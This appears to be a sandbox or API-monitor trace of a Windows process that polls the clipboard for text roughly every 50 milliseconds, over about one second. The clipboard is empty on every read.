[0273.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdd5b665, dwHighDateTime=0x1d96e12))
[0273.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.257] GetClipboardData (uFormat=0x1) returned 0x0
[0273.258] CloseClipboard () returned 1
[0273.258] Sleep (dwMilliseconds=0x32)
[0273.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdd818af, dwHighDateTime=0x1d96e12))
[0273.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.273] GetClipboardData (uFormat=0x1) returned 0x0
[0273.273] CloseClipboard () returned 1
[0273.273] Sleep (dwMilliseconds=0x32)
[0273.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdda7b17, dwHighDateTime=0x1d96e12))
[0273.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.290] GetClipboardData (uFormat=0x1) returned 0x0
[0273.290] CloseClipboard () returned 1
[0273.290] Sleep (dwMilliseconds=0x32)
[0273.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfddcdd81, dwHighDateTime=0x1d96e12))
[0273.305] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.305] GetClipboardData (uFormat=0x1) returned 0x0
[0273.305] CloseClipboard () returned 1
[0273.305] Sleep (dwMilliseconds=0x32)
[0273.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfddf3feb, dwHighDateTime=0x1d96e12))
[0273.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.321] GetClipboardData (uFormat=0x1) returned 0x0
[0273.321] CloseClipboard () returned 1
[0273.322] Sleep (dwMilliseconds=0x32)
[0273.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfde1a240, dwHighDateTime=0x1d96e12))
[0273.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.336] GetClipboardData (uFormat=0x1) returned 0x0
[0273.336] CloseClipboard () returned 1
[0273.336] Sleep (dwMilliseconds=0x32)
[0273.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfde40495, dwHighDateTime=0x1d96e12))
[0273.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.351] GetClipboardData (uFormat=0x1) returned 0x0
[0273.351] CloseClipboard () returned 1
[0273.351] Sleep (dwMilliseconds=0x32)
[0273.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfde66710, dwHighDateTime=0x1d96e12))
[0273.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.368] GetClipboardData (uFormat=0x1) returned 0x0
[0273.369] CloseClipboard () returned 1
[0273.369] Sleep (dwMilliseconds=0x32)
[0273.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfde8c962, dwHighDateTime=0x1d96e12))
[0273.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.382] GetClipboardData (uFormat=0x1) returned 0x0
[0273.383] CloseClipboard () returned 1
[0273.383] Sleep (dwMilliseconds=0x32)
[0273.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdeb2b82, dwHighDateTime=0x1d96e12))
[0273.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.398] GetClipboardData (uFormat=0x1) returned 0x0
[0273.398] CloseClipboard () returned 1
[0273.398] Sleep (dwMilliseconds=0x32)
[0273.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdee2f7d, dwHighDateTime=0x1d96e12))
[0273.423] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.423] GetClipboardData (uFormat=0x1) returned 0x0
[0273.423] CloseClipboard () returned 1
[0273.423] Sleep (dwMilliseconds=0x32)
[0273.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdeff03e, dwHighDateTime=0x1d96e12))
[0273.442] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.442] GetClipboardData (uFormat=0x1) returned 0x0
[0273.444] CloseClipboard () returned 1
[0273.444] Sleep (dwMilliseconds=0x32)
[0273.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdf4b516, dwHighDateTime=0x1d96e12))
[0273.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.461] GetClipboardData (uFormat=0x1) returned 0x0
[0273.461] CloseClipboard () returned 1
[0273.461] Sleep (dwMilliseconds=0x32)
[0273.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdf71777, dwHighDateTime=0x1d96e12))
[0273.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.476] GetClipboardData (uFormat=0x1) returned 0x0
[0273.476] CloseClipboard () returned 1
[0273.476] Sleep (dwMilliseconds=0x32)
[0273.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdf979d9, dwHighDateTime=0x1d96e12))
[0273.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.493] GetClipboardData (uFormat=0x1) returned 0x0
[0273.494] CloseClipboard () returned 1
[0273.494] Sleep (dwMilliseconds=0x32)
[0273.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdfbdc25, dwHighDateTime=0x1d96e12))
[0273.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.507] GetClipboardData (uFormat=0x1) returned 0x0
[0273.508] CloseClipboard () returned 1
[0273.508] Sleep (dwMilliseconds=0x32)
[0273.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdfe3e4d, dwHighDateTime=0x1d96e12))
[0273.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.523] GetClipboardData (uFormat=0x1) returned 0x0
[0273.523] CloseClipboard () returned 1
[0273.523] Sleep (dwMilliseconds=0x32)
[0273.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe00a0f7, dwHighDateTime=0x1d96e12))
[0273.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.540] GetClipboardData (uFormat=0x1) returned 0x0
[0273.540] CloseClipboard () returned 1
[0273.540] Sleep (dwMilliseconds=0x32)
[0273.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe030357, dwHighDateTime=0x1d96e12))
[0273.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.554] GetClipboardData (uFormat=0x1) returned 0x0
[0273.555] CloseClipboard () returned 1
[0273.555] Sleep (dwMilliseconds=0x32)
[0273.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe056567, dwHighDateTime=0x1d96e12))
[0273.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.571] GetClipboardData (uFormat=0x1) returned 0x0
[0273.572] CloseClipboard () returned 1
[0273.572] Sleep (dwMilliseconds=0x32)
[0273.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe07c7e8, dwHighDateTime=0x1d96e12))
[0273.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.586] GetClipboardData (uFormat=0x1) returned 0x0
[0273.586] CloseClipboard () returned 1
[0273.586] Sleep (dwMilliseconds=0x32)
[0273.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe0a2a50, dwHighDateTime=0x1d96e12))
[0273.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.601] GetClipboardData (uFormat=0x1) returned 0x0
[0273.601] CloseClipboard () returned 1
[0273.601] Sleep (dwMilliseconds=0x32)
[0273.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe0c8ca3, dwHighDateTime=0x1d96e12))
[0273.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.618] GetClipboardData (uFormat=0x1) returned 0x0
[0273.618] CloseClipboard () returned 1
[0273.618] Sleep (dwMilliseconds=0x32)
[0273.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe0eeec9, dwHighDateTime=0x1d96e12))
[0273.633] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.633] GetClipboardData (uFormat=0x1) returned 0x0
[0273.633] CloseClipboard () returned 1
[0273.633] Sleep (dwMilliseconds=0x32)
[0273.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe11513d, dwHighDateTime=0x1d96e12))
[0273.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.648] GetClipboardData (uFormat=0x1) returned 0x0
[0273.648] CloseClipboard () returned 1
[0273.648] Sleep (dwMilliseconds=0x32)
[0273.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe13b387, dwHighDateTime=0x1d96e12))
[0273.672] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.672] GetClipboardData (uFormat=0x1) returned 0x0
[0273.672] CloseClipboard () returned 1
[0273.672] Sleep (dwMilliseconds=0x32)
[0273.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe161610, dwHighDateTime=0x1d96e12))
[0273.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.679] GetClipboardData (uFormat=0x1) returned 0x0
[0273.679] CloseClipboard () returned 1
[0273.679] Sleep (dwMilliseconds=0x32)
[0273.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe187836, dwHighDateTime=0x1d96e12))
[0273.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.696] GetClipboardData (uFormat=0x1) returned 0x0
[0273.697] CloseClipboard () returned 1
[0273.697] Sleep (dwMilliseconds=0x32)
[0273.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe1ada9a, dwHighDateTime=0x1d96e12))
[0273.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.711] GetClipboardData (uFormat=0x1) returned 0x0
[0273.711] CloseClipboard () returned 1
[0273.711] Sleep (dwMilliseconds=0x32)
[0273.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe1d3d1d, dwHighDateTime=0x1d96e12))
[0273.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.726] GetClipboardData (uFormat=0x1) returned 0x0
[0273.726] CloseClipboard () returned 1
[0273.726] Sleep (dwMilliseconds=0x32)
[0273.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe1f9f78, dwHighDateTime=0x1d96e12))
[0273.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.743] GetClipboardData (uFormat=0x1) returned 0x0
[0273.744] CloseClipboard () returned 1
[0273.744] Sleep (dwMilliseconds=0x32)
[0273.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe2201b7, dwHighDateTime=0x1d96e12))
[0273.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.758] GetClipboardData (uFormat=0x1) returned 0x0
[0273.758] CloseClipboard () returned 1
[0273.758] Sleep (dwMilliseconds=0x32)
[0273.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe246425, dwHighDateTime=0x1d96e12))
[0273.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.773] GetClipboardData (uFormat=0x1) returned 0x0
[0273.773] CloseClipboard () returned 1
[0273.773] Sleep (dwMilliseconds=0x32)
[0273.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe26c675, dwHighDateTime=0x1d96e12))
[0273.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.790] GetClipboardData (uFormat=0x1) returned 0x0
[0273.790] CloseClipboard () returned 1
[0273.790] Sleep (dwMilliseconds=0x32)
[0273.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe2928b8, dwHighDateTime=0x1d96e12))
[0273.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.804] GetClipboardData (uFormat=0x1) returned 0x0
[0273.804] CloseClipboard () returned 1
[0273.804] Sleep (dwMilliseconds=0x32)
[0273.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe2c3c22, dwHighDateTime=0x1d96e12))
[0273.825] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.825] GetClipboardData (uFormat=0x1) returned 0x0
[0273.825] CloseClipboard () returned 1
[0273.825] Sleep (dwMilliseconds=0x32)
[0273.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe2ded74, dwHighDateTime=0x1d96e12))
[0273.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.836] GetClipboardData (uFormat=0x1) returned 0x0
[0273.836] CloseClipboard () returned 1
[0273.836] Sleep (dwMilliseconds=0x32)
[0273.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe304fbf, dwHighDateTime=0x1d96e12))
[0273.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.852] GetClipboardData (uFormat=0x1) returned 0x0
[0273.852] CloseClipboard () returned 1
[0273.852] Sleep (dwMilliseconds=0x32)
[0273.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe32b20c, dwHighDateTime=0x1d96e12))
[0273.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.868] GetClipboardData (uFormat=0x1) returned 0x0
[0273.868] CloseClipboard () returned 1
[0273.868] Sleep (dwMilliseconds=0x32)
[0273.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe35145c, dwHighDateTime=0x1d96e12))
[0273.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.883] GetClipboardData (uFormat=0x1) returned 0x0
[0273.883] CloseClipboard () returned 1
[0273.883] Sleep (dwMilliseconds=0x32)
[0273.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe3776ef, dwHighDateTime=0x1d96e12))
[0273.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.898] GetClipboardData (uFormat=0x1) returned 0x0
[0273.898] CloseClipboard () returned 1
[0273.898] Sleep (dwMilliseconds=0x32)
[0273.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe39d92d, dwHighDateTime=0x1d96e12))
[0273.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.915] GetClipboardData (uFormat=0x1) returned 0x0
[0273.915] CloseClipboard () returned 1
[0273.915] Sleep (dwMilliseconds=0x32)
[0273.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe3c3bae, dwHighDateTime=0x1d96e12))
[0273.930] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.930] GetClipboardData (uFormat=0x1) returned 0x0
[0273.930] CloseClipboard () returned 1
[0273.930] Sleep (dwMilliseconds=0x32)
[0273.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe3e9dfd, dwHighDateTime=0x1d96e12))
[0273.947] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.947] GetClipboardData (uFormat=0x1) returned 0x0
[0273.947] CloseClipboard () returned 1
[0273.947] Sleep (dwMilliseconds=0x32)
[0273.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe41004b, dwHighDateTime=0x1d96e12))
[0273.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.961] GetClipboardData (uFormat=0x1) returned 0x0
[0273.961] CloseClipboard () returned 1
[0273.961] Sleep (dwMilliseconds=0x32)
[0273.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe4362b4, dwHighDateTime=0x1d96e12))
[0273.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.976] GetClipboardData (uFormat=0x1) returned 0x0
[0273.976] CloseClipboard () returned 1
[0273.976] Sleep (dwMilliseconds=0x32)
[0273.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe45c4e3, dwHighDateTime=0x1d96e12))
[0273.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.993] GetClipboardData (uFormat=0x1) returned 0x0
[0273.994] CloseClipboard () returned 1
[0273.994] Sleep (dwMilliseconds=0x32)
[0274.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe48272c, dwHighDateTime=0x1d96e12))
[0274.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.007] GetClipboardData (uFormat=0x1) returned 0x0
[0274.008] CloseClipboard () returned 1
[0274.008] Sleep (dwMilliseconds=0x32)
[0274.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe4a89be, dwHighDateTime=0x1d96e12))
[0274.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.023] GetClipboardData (uFormat=0x1) returned 0x0
[0274.023] CloseClipboard () returned 1
[0274.023] Sleep (dwMilliseconds=0x32)
[0274.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe4cec04, dwHighDateTime=0x1d96e12))
[0274.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.040] GetClipboardData (uFormat=0x1) returned 0x0
[0274.040] CloseClipboard () returned 1
[0274.040] Sleep (dwMilliseconds=0x32)
[0274.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe4f4e6c, dwHighDateTime=0x1d96e12))
[0274.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.054] GetClipboardData (uFormat=0x1) returned 0x0
[0274.054] CloseClipboard () returned 1
[0274.055] Sleep (dwMilliseconds=0x32)
[0274.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe51b0c6, dwHighDateTime=0x1d96e12))
[0274.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.071] GetClipboardData (uFormat=0x1) returned 0x0
[0274.072] CloseClipboard () returned 1
[0274.072] Sleep (dwMilliseconds=0x32)
[0274.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe5412fe, dwHighDateTime=0x1d96e12))
[0274.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.086] GetClipboardData (uFormat=0x1) returned 0x0
[0274.086] CloseClipboard () returned 1
[0274.086] Sleep (dwMilliseconds=0x32)
[0274.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe567599, dwHighDateTime=0x1d96e12))
[0274.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.101] GetClipboardData (uFormat=0x1) returned 0x0
[0274.101] CloseClipboard () returned 1
[0274.101] Sleep (dwMilliseconds=0x32)
[0274.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe58d7ef, dwHighDateTime=0x1d96e12))
[0274.117] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.117] GetClipboardData (uFormat=0x1) returned 0x0
[0274.117] CloseClipboard () returned 1
[0274.117] Sleep (dwMilliseconds=0x32)
[0274.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe5b3a01, dwHighDateTime=0x1d96e12))
[0274.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.132] GetClipboardData (uFormat=0x1) returned 0x0
[0274.133] CloseClipboard () returned 1
[0274.133] Sleep (dwMilliseconds=0x32)
[0274.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe5d9c96, dwHighDateTime=0x1d96e12))
[0274.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.148] GetClipboardData (uFormat=0x1) returned 0x0
[0274.148] CloseClipboard () returned 1
[0274.148] Sleep (dwMilliseconds=0x32)
[0274.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe5ffec0, dwHighDateTime=0x1d96e12))
[0274.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.165] GetClipboardData (uFormat=0x1) returned 0x0
[0274.165] CloseClipboard () returned 1
[0274.166] Sleep (dwMilliseconds=0x32)
[0274.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe62610f, dwHighDateTime=0x1d96e12))
[0274.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.179] GetClipboardData (uFormat=0x1) returned 0x0
[0274.180] CloseClipboard () returned 1
[0274.180] Sleep (dwMilliseconds=0x32)
[0274.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe64c36c, dwHighDateTime=0x1d96e12))
[0274.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.196] GetClipboardData (uFormat=0x1) returned 0x0
[0274.197] CloseClipboard () returned 1
[0274.197] Sleep (dwMilliseconds=0x32)
[0274.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe6725cb, dwHighDateTime=0x1d96e12))
[0274.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.211] GetClipboardData (uFormat=0x1) returned 0x0
[0274.211] CloseClipboard () returned 1
[0274.211] Sleep (dwMilliseconds=0x32)
[0274.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe6a0672, dwHighDateTime=0x1d96e12))
[0274.230] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.230] GetClipboardData (uFormat=0x1) returned 0x0
[0274.230] CloseClipboard () returned 1
[0274.230] Sleep (dwMilliseconds=0x32)
[0274.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe6bea83, dwHighDateTime=0x1d96e12))
[0274.242] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.242] GetClipboardData (uFormat=0x1) returned 0x0
[0274.242] CloseClipboard () returned 1
[0274.242] Sleep (dwMilliseconds=0x32)
[0274.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe6e4cd3, dwHighDateTime=0x1d96e12))
[0274.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.258] GetClipboardData (uFormat=0x1) returned 0x0
[0274.258] CloseClipboard () returned 1
[0274.258] Sleep (dwMilliseconds=0x32)
[0274.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe70af09, dwHighDateTime=0x1d96e12))
[0274.275] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.275] GetClipboardData (uFormat=0x1) returned 0x0
[0274.275] CloseClipboard () returned 1
[0274.275] Sleep (dwMilliseconds=0x32)
[0274.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe73117f, dwHighDateTime=0x1d96e12))
[0274.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.290] GetClipboardData (uFormat=0x1) returned 0x0
[0274.290] CloseClipboard () returned 1
[0274.290] Sleep (dwMilliseconds=0x32)
[0274.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe757411, dwHighDateTime=0x1d96e12))
[0274.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.304] GetClipboardData (uFormat=0x1) returned 0x0
[0274.304] CloseClipboard () returned 1
[0274.305] Sleep (dwMilliseconds=0x32)
[0274.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe77d64f, dwHighDateTime=0x1d96e12))
[0274.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.322] GetClipboardData (uFormat=0x1) returned 0x0
[0274.322] CloseClipboard () returned 1
[0274.322] Sleep (dwMilliseconds=0x32)
[0274.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe7a388a, dwHighDateTime=0x1d96e12))
[0274.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.336] GetClipboardData (uFormat=0x1) returned 0x0
[0274.336] CloseClipboard () returned 1
[0274.336] Sleep (dwMilliseconds=0x32)
[0274.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe7c9b0f, dwHighDateTime=0x1d96e12))
[0274.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.351] GetClipboardData (uFormat=0x1) returned 0x0
[0274.351] CloseClipboard () returned 1
[0274.351] Sleep (dwMilliseconds=0x32)
